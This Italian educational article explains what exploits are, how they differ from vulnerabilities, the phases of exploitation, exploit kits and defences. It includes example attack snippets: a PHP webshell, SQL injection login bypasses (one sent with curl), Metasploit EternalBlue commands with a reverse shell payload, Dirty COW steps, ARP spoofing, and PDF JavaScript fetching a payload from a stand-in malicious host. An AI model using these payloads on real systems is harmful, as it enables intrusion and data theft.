Indice dei contenuti
- Che cos’è un exploit
- A cosa servono gli exploit
- Exploit e vulnerabilità non sono la stessa cosa
- Le fasi dell’exploitation
- Exploit: le diverse tipologie
- Cosa sono gli exploit zero day
- Classificazione degli exploit
- Cosa sono gli exploit kit
- Come difendersi da un exploit
Uno dei termini più frequentemente utilizzati ma anche più fraintesi è exploit. Se ti stai chiedendo che cos’è un exploit, a cosa serve o come si distingue da una semplice vulnerabilità, sei nel posto giusto.
In questo articolo esploreremo nel dettaglio il significato di exploit, le sue varie forme (tra cui gli exploit kit e gli 0day exploit), e vedremo in che modo gli attaccanti li usano per compromettere sistemi informatici.
Infine, analizzeremo le migliori strategie per difendersi da un exploit e proteggere i tuoi sistemi da questo insidioso veicolo di attacco.
Che cos’è un exploit
Nel campo dell’informatica e in particolare della cyber security, il termine exploit si riferisce a una tecnica, un codice o uno script pensato per sfruttare una vulnerabilità presente in un software, un hardware, un sistema operativo o anche in una configurazione.
La finalità di un exploit è quella di trarne un vantaggio malevolo, come ad esempio l’accesso non autorizzato, l’esecuzione di codice arbitrario o l’interruzione di un servizio (DoS – Denial of Service).
Origine del termine
Il termine “exploit” deriva dall’inglese “to exploit”, cioè sfruttare, e viene usato anche in senso positivo in altri contesti. Ad esempio, in italiano si può trovare il termine “exploit” nel senso di impresa eccezionale o prestazione straordinaria (“exploit sportivo”).
Tuttavia, in ambito informatico, l’accezione è nettamente negativa: si tratta di un abuso intenzionale di un difetto per violare la sicurezza.
Exploit e vulnerabilità: un binomio inscindibile
È importante capire che l’exploit è solo il mezzo, mentre il bersaglio è la vulnerabilità. Una vulnerabilità è un punto debole, come ad esempio una cattiva gestione della memoria, una configurazione errata o un errore di programmazione.
L’exploit si inserisce in quel punto debole e lo “manipola” per ottenere un risultato.
Esempio pratico: exploit di tipo buffer overflow in Python
Uno degli exploit classici nei sistemi è il buffer overflow, cioè un sovraccarico di memoria in un buffer che permette di sovrascrivere porzioni della memoria adiacente, fino a eseguire codice arbitrario.
Ecco un esempio molto semplificato di exploit buffer overflow per fini dimostrativi:
# Codice dimostrativo per exploit buffer overflow (solo esempio teorico)
import socket
# Indirizzo IP e porta del server vulnerabile
target_ip = "192.168.1.100"
target_port = 9999
# Costruzione dell'exploit
payload = b"A" * 1024 # Riempie il buffer
payload += b"\x90" * 16 # NOP sled
payload += b"\xcc" * 4 # Istruzione di interrupt (in un exploit reale, qui ci sarebbe il shellcode)
# Invio del pacchetto
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((target_ip, target_port))
s.send(payload)
Nel caso reale, il blocco b”\xcc” * 4 verrebbe sostituito da shellcode – codice macchina in grado di aprire una shell remota, eseguire comandi, installare backdoor, ecc. In ambito etico, queste tecniche vengono simulate nei penetration test per verificare la robustezza del sistema.
Exploit in ambienti reali
In ambiente aziendale o governativo, gli exploit vengono utilizzati in modo sistematizzato da gruppi APT (Advanced Persistent Threat), hacker finanziati da stati o da gruppi organizzati. L’utilizzo degli 0day exploit (per vulnerabilità sconosciute e ancora non corrette) può mettere a rischio intere infrastrutture critiche.
Al tempo stesso, ricercatori di sicurezza etica (white hat) analizzano le vulnerabilità e creano exploit proof-of-concept (PoC) per mostrare la gravità del problema al vendor, spesso seguendo la responsible disclosure.
A cosa servono gli exploit
In cyber security, gli exploit rappresentano lo strumento attraverso cui una vulnerabilità teorica si trasforma in una minaccia concreta.
Senza un exploit, una vulnerabilità resta un errore, un difetto in attesa di essere corretto. Con un exploit, invece, quella stessa debolezza diventa un punto di ingresso reale per un attacco informatico.
Gli exploit sono quindi elementi tecnici operativi: pezzi di codice, script, pacchetti o comandi che consentono di “forzare” il normale comportamento di un sistema sfruttandone le lacune. Ma a cosa servono esattamente?
Funzioni principali di un exploit
Gli exploit vengono utilizzati per:
- Ottenere accesso remoto (RCE)
Permettono a un attaccante di eseguire comandi da remoto, aggirando i normali controlli di accesso. Ad esempio, un exploit può aprire una reverse shell che consente di interagire con il sistema compromesso come se si fosse fisicamente davanti al terminale. - Installare malware o ransomware
Molti exploit servono da vettore iniziale per l’installazione di payload malevoli, inclusi trojan, spyware e ransomware che cifrano i dati e chiedono un riscatto. - Esfiltrare dati sensibili
Tramite un exploit, un attaccante può leggere file riservati, accedere a database e copiare informazioni personali, credenziali o documenti aziendali. - Muoversi lateralmente nella rete
Dopo il compromesso iniziale, un exploit può essere usato per spostarsi da un sistema all’altro, cercando privilegi superiori o server più strategici. Questo è tipico degli attacchi APT. - Mantenere persistenza
Sfruttando un exploit, l’attaccante può installare una backdoor che gli consente di rientrare nel sistema anche dopo un riavvio o dopo che le credenziali sono state modificate.
Esempio pratico: exploit per Remote Code Execution
Supponiamo che un’applicazione web abbia una vulnerabilità in un modulo di upload file, che consente di caricare script PHP malevoli. L’exploit in questo caso sarà un file .php preparato ad hoc:
<?php
// exploit.php
// Simple webshell to execute commands remotely
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
Caricando questo file e visitando l’URL http://target.com/uploads/exploit.php?cmd=whoami, l’attaccante potrà eseguire comandi a distanza, ottenendo pieno controllo della macchina.
Exploit: non solo strumenti criminali
Nonostante gli exploit siano ampiamente usati da cyber criminali, APT o hacker black hat, è importante sottolineare che hanno anche applicazioni legittime:
- Nei penetration test, i white hat usano exploit per simulare attacchi reali e testare la resilienza dei sistemi.
- Nei bug bounty, gli exploit proof-of-concept (PoC) vengono presentati per dimostrare vulnerabilità in modo responsabile.
- Nei CTF (Capture The Flag), gli exploit sono utilizzati per risolvere sfide in ambienti isolati e sicuri.
Exploit pubblici vs privati
Gli exploit si dividono tra:
- Pubblici
Spesso presenti su siti come exploit.in o Exploit-DB, sono disponibili a chiunque. Anche script kiddies con poca esperienza possono usarli, con il rischio che le difese non siano pronte a bloccarli. - Privati o custom
Creati su misura per target specifici. Possono richiedere settimane o mesi di studio, ma sono molto più pericolosi, soprattutto se 0day (cioè non ancora noti al pubblico).
Exploit e vulnerabilità non sono la stessa cosa
Nel linguaggio comune — e purtroppo anche in contesti tecnici — si tende spesso a confondere exploit e vulnerabilità, utilizzandoli come se fossero sinonimi.
In realtà, si tratta di due concetti distinti, anche se strettamente connessi e co-dipendenti all’interno del ciclo di vita di un attacco informatico.
Differenza concettuale
- Vulnerabilità
Il problema, ovvero un difetto di progettazione, un errore di codice, una configurazione errata o un comportamento imprevisto in un sistema software o hardware.
Esempi classici sono: buffer overflow, SQL injection, XSS, directory traversal, ecc. - Exploit
Lo strumento, ovvero il codice, lo script o la tecnica che consente a un attaccante di sfruttare quella vulnerabilità per ottenere un risultato malevolo.
Analogia concreta
Immaginiamo un sistema informatico come una casa con una porta d’ingresso:
- Se la serratura della porta è difettosa e può essere forzata facilmente, questa è la vulnerabilità.
- Il grimaldello usato dal ladro per entrare è l’exploit.
Un altro esempio: se un’applicazione web accetta input utente senza sanificazione e permette di eseguire codice SQL arbitrario, la vulnerabilità è una SQL Injection, mentre il payload SQL usato per accedere a dati riservati è l’exploit.
Esempio pratico con codice (SQL Injection)
Supponiamo che un sito web abbia un campo di login vulnerabile:
// Codice PHP vulnerabile
$user = $_POST['username'];
$pass = $_POST['password'];
$query = "SELECT * FROM utenti WHERE username = '$user' AND password = '$pass'";
Vulnerabilità
La query SQL non è protetta da prepared statement o sanitizzazione.
Exploit
Un attaccante può inserire questo input:
' OR '1'='1
che trasforma la query in:
SELECT * FROM utenti WHERE username = '' OR '1'='1' AND password = ''
Questo consente l’accesso senza conoscere le credenziali.
Importanza della distinzione
Capire la distinzione tra vulnerabilità ed exploit è essenziale:
- Perché scoprire una vulnerabilità non significa automaticamente poterla sfruttare.
- Perché scrivere un exploit per una vulnerabilità può richiedere grande competenza, debugging, reverse engineering e conoscenza del sistema bersaglio.
- Perché nei penetration test si devono valutare sia la presenza di vulnerabilità sia la realistica possibilità di exploitability.
Le fasi dell’exploitation
Il processo di exploitation non è un’azione isolata, ma rappresenta una fase cruciale all’interno del ciclo di un attacco informatico.
Che si tratti di un attacco malevolo o di un penetration test eseguito da un ethical hacker, le fasi sono sostanzialmente le stesse, e seguono una logica ben definita.
Comprenderle è fondamentale sia per chi si occupa di difesa, sia per chi lavora nel campo dell’offensive security.
1. Ricognizione (Reconnaissance)
In questa fase, l’attaccante raccoglie tutte le informazioni possibili sul bersaglio: IP pubblici, domini, sottodomini, sistemi operativi, tecnologie web, porte aperte, servizi attivi.
Strumenti utilizzati:
- whois, nslookup, theHarvester, Recon-ng
- Nmap per la scansione di porte e servizi
- Shodan per trovare dispositivi esposti
Esempio
nmap -sS -p- -T4 192.168.1.1
Questa scansione TCP identifica tutte le porte aperte sul bersaglio.
2. Identificazione della vulnerabilità
Una volta ottenute le informazioni di base, si passa alla fase di vulnerability assessment, ovvero la ricerca attiva di vulnerabilità note o zero-day all’interno dei servizi e software rilevati.
Strumenti utilizzati:
- Nikto, OpenVAS, Nessus
- Burp Suite per applicazioni web
- Ricerca in database come exploit.in, Exploit-DB
Esempio
Un sito con PHP 5.6.4 potrebbe essere vulnerabile a Remote Code Execution. L’attaccante cerca un exploit compatibile su Exploit-DB:
searchsploit php 5.6
3. Sviluppo o selezione dell’exploit
In questa fase l’attaccante:
- Scrive da zero un exploit (se si tratta di una vulnerabilità non documentata);
- Oppure riutilizza un exploit già esistente da database pubblici;
- Oppure lo adatta al contesto specifico.
Strumenti utilizzati:
- Metasploit Framework
- Script Python, Ruby, PowerShell
- Exploit in C o assembly per vulnerabilità low-level
Esempio
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
In questo caso, si sfrutta la vulnerabilità EternalBlue per ottenere l’accesso a un host Windows.
4. Esecuzione dell’exploit
È il momento cruciale: l’exploit viene lanciato contro il bersaglio. Se ha successo, l’attaccante ottiene l’accesso iniziale (shell, reverse shell, utente compromesso, ecc.).
In ambienti reali, questa fase deve essere discreta e silenziosa, per evitare il rilevamento da parte di IDS/IPS o antivirus.
Esempio
Un exploit web può essere lanciato anche con comandi curl:
curl -X POST http://victim.com/login.php -d "user=admin' OR '1'='1&pass="
5. Post-exploitation
Una volta dentro il sistema, l’attaccante si dedica ad azioni strategiche:
- Escalation dei privilegi (da utente a root)
- Dumping di credenziali (con strumenti come Mimikatz)
- Esfiltrazione di dati sensibili
- Installazione di backdoor o software di persistenza
- Movimenti laterali nella rete aziendale
Strumenti comuni:
- Mimikatz, PowerShell Empire, Cobalt Strike, BloodHound
In contesto etico
Queste stesse fasi vengono simulate legalmente dagli ethical hacker durante i penetration test, con l’obiettivo di evidenziare vulnerabilità, verificarne la reale exploitabilità e rafforzare la sicurezza dell’organizzazione.
Exploit: le diverse tipologie
Gli exploit informatici non sono tutti uguali. Possono essere classificati secondo diversi criteri, tra cui il livello di accesso richiesto, il tipo di applicazione colpita, il contesto di esecuzione e il tipo di comunicazione che sfruttano.
Conoscere le diverse tipologie di exploit è fondamentale per riconoscere le minacce, valutarne il rischio e attuare difese efficaci.
Di seguito, analizziamo le categorie più diffuse, con esempi concreti e reali.
Exploit locali (local exploit)
Un local exploit richiede un accesso preliminare al sistema, anche se con privilegi minimi. Viene spesso utilizzato per eseguire un’escalation dei privilegi, passando ad esempio da un utente normale a root (Linux) o Administrator(Windows).
Esempio pratico
Un sistema Linux con un kernel vulnerabile a Dirty COW (CVE-2016-5195) consente a un utente locale di ottenere privilegi root modificando file a cui non dovrebbe avere accesso.
gcc dirtycow.c -o cow
./cow
Difesa
Mantenere il kernel aggiornato e utilizzare sistemi di access control (come AppArmor o SELinux).
Exploit remoti (remote exploit)
Un remote exploit consente a un attaccante di compromettere un sistema a distanza, senza avere un accesso iniziale. Sono particolarmente critici se la vulnerabilità riguarda un servizio esposto su Internet (web server, RDP, FTP, ecc.).
Esempio pratico
La famigerata vulnerabilità MS17-010 (EternalBlue) in SMBv1, utilizzata da WannaCry, permetteva l’esecuzione di codice remoto su macchine Windows non aggiornate.
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.105
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
Difesa
Disattivare protocolli obsoleti, limitare l’esposizione pubblica dei servizi e applicare patch tempestive.
Exploit client-side
Questi exploit sfruttano vulnerabilità nei software lato client, come browser web, lettori PDF, client email, player multimediali.
Di solito vengono attivati quando l’utente interagisce con un file malevolo (PDF, Word, .swf) o clicca su un link infetto.
Esempio pratico
Un PDF che contiene JavaScript malevolo sfrutta una vulnerabilità in Adobe Reader per eseguire codice sulla macchina dell’utente:
// all'interno del PDF
app.launchURL("http://malicious-site.com/exec_payload.js", true);
Difesa
Aggiornare costantemente i client, disattivare l’esecuzione automatica di contenuti attivi, usare sandbox come quella di Chrome o Adobe Protected Mode.
Exploit di rete (network exploit)
Agiscono a livello di protocolli di rete, sfruttando debolezze nella gestione di pacchetti, handshake o parsing dei dati. Possono causare DoS, intercettazioni (MITM), o l’iniezione di codice.
Esempio pratico
Un exploit contro il protocollo SMBv1 può mandare in crash un host Windows remoto con un pacchetto costruito ad hoc (DoS).
Altro esempio: un attacco ARP spoofing su una LAN locale può intercettare il traffico:
bash
CopiaModifica
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
Difesa
Segmentazione della rete, utilizzo di firewall, IDS/IPS, autenticazione nei protocolli e crittografia end-to-end.
Riepilogo delle tipologie
Tipologia | Accesso richiesto | Rischio | Esempio |
Local Exploit | Accesso utente | Medio | Dirty COW (Linux privilege esc) |
Remote Exploit | Nessun accesso | Alto | EternalBlue (SMB) |
Client-side | Interazione utente | Alto | PDF con JavaScript malicioso |
Network Exploit | Nessun accesso | Variabile | DoS su protocollo SMB |

Cosa sono gli exploit zero day
Gli 0day exploit sono i più temuti nel mondo della sicurezza informatica. Si tratta di exploit che sfruttano vulnerabilità sconosciute al vendor, e quindi non ancora corrette da una patch.
Il termine “zero day” deriva dal fatto che, dal momento in cui la vulnerabilità è scoperta, il produttore ha “zero giorni” per correggerla prima che venga utilizzata malevolmente.
Questi exploit sono spesso venduti nel dark web o utilizzati da gruppi APT (Advanced Persistent Threats) per attacchi mirati ad alto impatto. Un esempio celebre è Stuxnet, che utilizzava diversi 0day exploit per colpire le centrali nucleari iraniane.
Classificazione degli exploit
Gli exploit informatici non si classificano solo in base alla modalità di attacco (locale, remoto, client-side), ma anche in base alla loro origine, diffusione pubblica, stato di aggiornamento e livello di sofisticazione.
Questa classificazione è particolarmente utile per i professionisti della sicurezza, i penetration tester e gli analisti SOC, che devono valutare ogni exploit in termini di criticità e rischio operativo.
Vediamo le principali classi di exploit secondo questa logica.
Exploit pubblici (Public Exploits)
Gli exploit pubblici sono quelli accessibili a chiunque, spesso documentati e condivisi su:
- Exploit-DB (exploit-db.com)
- GitHub (repository di PoC)
- exploit.in database
Questi exploit possono essere usati da ethical hacker, ricercatori, ma anche da attori malevoli (inclusi script kiddies), proprio perché non richiedono competenze avanzate.
Esempio
L’exploit dirtycow.c per Linux (CVE-2016-5195) è stato reso pubblico e disponibile su GitHub. Basta compilarlo e lanciarlo per ottenere privilegi root.
Difesa
Mantenere i sistemi aggiornati, monitorare l’uso di exploit noti con strumenti EDR e IDS.
Exploit privati (Private Exploits)
Si tratta di exploit non rilasciati pubblicamente, sviluppati da:
- Gruppi APT o criminali
- Ricercatori indipendenti
- Team interni di Red Team o bug bounty hunter
Vengono tenuti segreti per diversi motivi: uso interno, vendita nel dark web, o in attesa di divulgazione responsabile (coordinated disclosure).
Esempio
Prima che venisse scoperto pubblicamente, EternalBlue era un exploit zero day privato, usato dalla NSA e successivamente trafugato dal gruppo Shadow Brokers.
Difesa
Difficili da rilevare, è essenziale usare approcci comportamentali (EDR, XDR) e simulazioni di attacco (Purple Teaming).
Exploit weaponizzati (Weaponized Exploits)
Un exploit weaponizzato è stato integrato all’interno di un malware, ransomware, trojan o di una toolchain automatizzata (come exploit kit, rootkit o framework offensivi). La sua funzione è operativa: non dimostra una vulnerabilità, ma la sfrutta direttamente per compromettere il sistema.
Esempio
L’exploit EternalBlue è stato weaponizzato in WannaCry e NotPetya, causando danni globali.
Difesa
Oltre alla patch, servono soluzioni proattive come firewall di nuova generazione, segmentazione e isolamento di rete.
Exploit proof-of-concept (PoC)
Un exploit PoC è una dimostrazione tecnica che mostra come una vulnerabilità possa essere sfruttata, senza necessariamente causare danni. I PoC sono spesso pubblicati da ricercatori di sicurezza, team bug bounty o durante conferenze come Black Hat e DEFCON.
Esempio
Un PoC per una vulnerabilità XSS potrebbe consistere in un semplice script JavaScript come:
<script>alert('XSS')</script>
Difesa
Anche se innocui, i PoC segnalano vulnerabilità reali e vanno presi seriamente.
Exploit di tipo N-day (N-day Exploits)
Sono exploit che sfruttano vulnerabilità note, rese pubbliche da n giorni, da cui il nome. Anche se teoricamente “vecchie”, queste vulnerabilità rimangono attive in sistemi non aggiornati.
Esempio
L’exploit per Apache Struts usato in Equifax (CVE-2017-5638) era un N-day: il vendor aveva già rilasciato la patch, ma il sistema non era aggiornato.
Difesa
Gestione delle patch efficace, scansioni periodiche con strumenti come Nessus o Qualys.
Cosa sono gli exploit kit
Un exploit kit è una piattaforma software malevola, preconfezionata e spesso venduta o noleggiata nel dark web, che contiene una raccolta di exploit già pronti per essere lanciati contro le vittime.
A differenza degli exploit singoli, gli exploit kit sono strumenti completi e automatizzati, progettati per semplificare l’esecuzione di attacchi informatici, soprattutto su larga scala.
Obiettivo degli exploit kit
L’obiettivo di un exploit kit è compromettere automaticamente i dispositivi delle vittime che navigano su un sito web infetto, senza che l’utente debba cliccare nulla.
L’attacco è trasparente e silenzioso, sfrutta le vulnerabilità note nei browser, nei plugin o nel sistema operativo, e scarica malware in background (drive-by download).
Come funziona un exploit kit
- L’attaccante compromette un sito web o acquista spazio pubblicitario su una piattaforma malevola.
- Il codice del sito redireziona la vittima a un server di comando e controllo (C2) che ospita l’exploit kit.
- Il kit analizza il browser e il sistema operativo dell’utente con tecniche di fingerprinting.
- Se rileva una vulnerabilità, seleziona un exploit compatibile e lo esegue.
- Una volta sfruttata la falla, scarica ed esegue un payload, come un ransomware o un trojan.
Esempio
Un utente visita un sito legittimo che, tramite un iframe nascosto, carica una pagina con un Angler Exploit Kit. Il kit rileva che l’utente sta usando una vecchia versione di Flash e lancia l’exploit CVE-2015-5122 per ottenere RCE (Remote Code Execution), installando silenziosamente un malware bancario.
Exploit kit famosi
Negli anni, alcuni exploit kit sono diventati veri e propri strumenti “industriali” della criminalità informatica:
- Angler Exploit Kit
Molto attivo tra il 2014 e il 2016, sfruttava vulnerabilità 0day ed era famoso per la sua efficacia e evasione. - Neutrino
Spesso usato per distribuire ransomware e trojan bancari. - RIG
Uno dei più longevi, ancora attivo in campagne attuali. - Magnitude
Noto per colpire Asia ed Europa con campagne massicce di ransomware.
Questi kit si aggiornano costantemente per includere nuovi exploit, rendendoli estremamente pericolosi soprattutto in ambienti non patchati.
Plugin vulnerabili comunemente sfruttati
Gli exploit kit storicamente si sono basati su plugin largamente diffusi ma spesso obsoleti o mal configurati, tra cui:
- Adobe Flash
- Java Runtime Environment (JRE)
- Microsoft Silverlight
- Adobe Reader
- Internet Explorer
Anche se oggi molti di questi plugin sono stati disabilitati o ritirati, gli exploit kit continueranno ad adattarsi a nuove superfici d’attacco, come browser, driver, moduli di autenticazione e persino firmware.
Come difendersi da un exploit kit
- Aggiorna regolarmente browser, OS e plugin
- Usa browser moderni con sandbox e protezioni integrate
- Installa estensioni di sicurezza come NoScript, uBlock Origin
- Applica filtri DNS per bloccare server C2 noti
- Utilizza soluzioni EDR/AV con protezione in tempo reale
Molti attacchi basati su exploit kit possono essere bloccati semplicemente tenendo il software aggiornato: la loro efficacia dipende dalla presenza di vulnerabilità N-day ancora non patchate.
Come difendersi da un exploit
Gli exploit rappresentano una delle principali minacce per la sicurezza informatica. Poiché sfruttano vulnerabilità esistenti (spesso note), la migliore strategia è quella di prevenire il loro utilizzo, adottando misure tecniche, organizzative e comportamentali.
La difesa non può essere affidata a un solo strumento, ma deve essere multilivello, seguendo il principio della difesa in profondità (defense in depth).
Di seguito le misure più efficaci.
1. Patch e aggiornamenti regolari
Patch management è la prima e più importante linea di difesa. La maggior parte degli exploit — in particolare quelli N-day — agisce su vulnerabilità già note e risolte, ma non ancora corrette nei sistemi.
Cosa fare:
- Automatizzare gli aggiornamenti di OS, browser, plugin, firmware.
- Mantenere aggiornata anche la documentazione delle patch installate.
- Usare strumenti come WSUS, SCCM, o Vulnerability Scanner (es. OpenVAS, Qualys) per identificare software obsoleto.
Esempio reale
L’attacco WannaCry sfruttava la falla SMB (MS17-010) per la quale era già disponibile una patch da due mesi.
2. Hardening dei sistemi
Hardening significa ridurre la superficie di attacco eliminando tutto ciò che non è strettamente necessario. Più il sistema è semplice e minimalista, meno opportunità ha un exploit di funzionare.
Azioni consigliate:
- Disabilitare servizi inutili (es. Telnet, FTP, RDP non gestito).
- Chiudere porte di rete non essenziali.
- Impostare privilegi minimi per gli utenti.
- Applicare Security Baseline standard (CIS, NIST).
Strumenti utili: Auditpol, AppArmor, Group Policy, SELinux.
3. IDS, IPS e firewall avanzati
I sistemi di rilevamento (IDS) e prevenzione (IPS) delle intrusioni aiutano a identificare exploit noti grazie a signature-based detection, o exploit sconosciuti tramite analisi comportamentale (heuristic/behavioral detection).
Protezione di rete:
- Utilizza firewall di nuova generazione (NGFW) con ispezione profonda dei pacchetti.
- Applica regole su traffico entrante/uscente, evitando l’accesso da IP sospetti.
- Segmenta la rete per isolare aree critiche (es. VLAN per server, utenti, IoT).
Strumenti open source: Snort, Suricata, Zeek, pfSense.
4. Antivirus e soluzioni EDR
Gli antivirus tradizionali rilevano exploit conosciuti attraverso firme statiche, mentre le soluzioni EDR (Endpoint Detection and Response) rilevano attività sospette anche dopo l’exploit, tramite comportamento anomalo del sistema.
EDR avanzati includono:
- Analisi in sandbox
- Rilevamento di privilege escalation
- Cattura della memoria RAM
- Telemetria e correlazione eventi
Esempi commerciali: CrowdStrike, SentinelOne, Microsoft Defender for Endpoint, Sophos Intercept X.
5. Security awareness e formazione
Molti exploit — in particolare quelli client-side — necessitano di interazione dell’utente: aprire un file, cliccare un link, ignorare un warning.
Azioni fondamentali:
- Formare regolarmente gli utenti contro phishing, allegati pericolosi, truffe sociali.
- Simulare attacchi con campagne phishing controllate (es. con GoPhish).
- Promuovere una cultura della sicurezza e del dubbio.
Ricorda: anche il miglior firewall è inutile se l’utente clicca su “Esegui comunque”.
6. Monitoraggio, logging e threat hunting
L’identificazione tempestiva di un attacco è fondamentale. Se un exploit è riuscito, si possono analizzare i log per scoprire movimenti anomali, escalation dei privilegi, backdoor.
Cosa fare:
- Centralizzare i log (SIEM) e configurarli per alert in tempo reale.
- Analizzare eventi come login falliti, modifiche a file di sistema, esecuzioni non autorizzate.
- Avviare attività di threat hunting proattivo nei sistemi critici.
Strumenti utili: ELK Stack, Graylog, Splunk, Wazuh.
Domande e risposte
- Che cos’è un exploit in informatica?
È un codice o uno script che sfrutta una vulnerabilità per compromettere un sistema. - Exploit e vulnerabilità sono la stessa cosa?
No, la vulnerabilità è il difetto, l’exploit è il mezzo che lo sfrutta. - Cosa sono gli exploit zero day?
Exploit che sfruttano vulnerabilità sconosciute ai produttori e quindi ancora non corrette. - Cosa significa 0day exploit?
È sinonimo di zero day exploit, una minaccia per la quale non esiste ancora patch. - Cos’è un exploit kit?
Un insieme di exploit pronti all’uso, spesso usato per infettare gli utenti da siti compromessi. - Come si classificano gli exploit?
In base alla disponibilità (pubblici, privati), al target (locale, remoto) e alla forma (PoC, weaponizzati). - Come avviene un attacco con exploit?
L’attaccante identifica una vulnerabilità, usa un exploit per entrare nel sistema e poi agisce. - Dove si trovano exploit pubblici?
Su database come Exploit-DB, GitHub, o il sito exploit.in. - Come difendersi da un exploit?
Con aggiornamenti, hardening, firewall, EDR, IDS/IPS e formazione degli utenti. - Cos’è l’exploitation?
È il processo tecnico mediante il quale un exploit viene applicato per ottenere un risultato malevolo.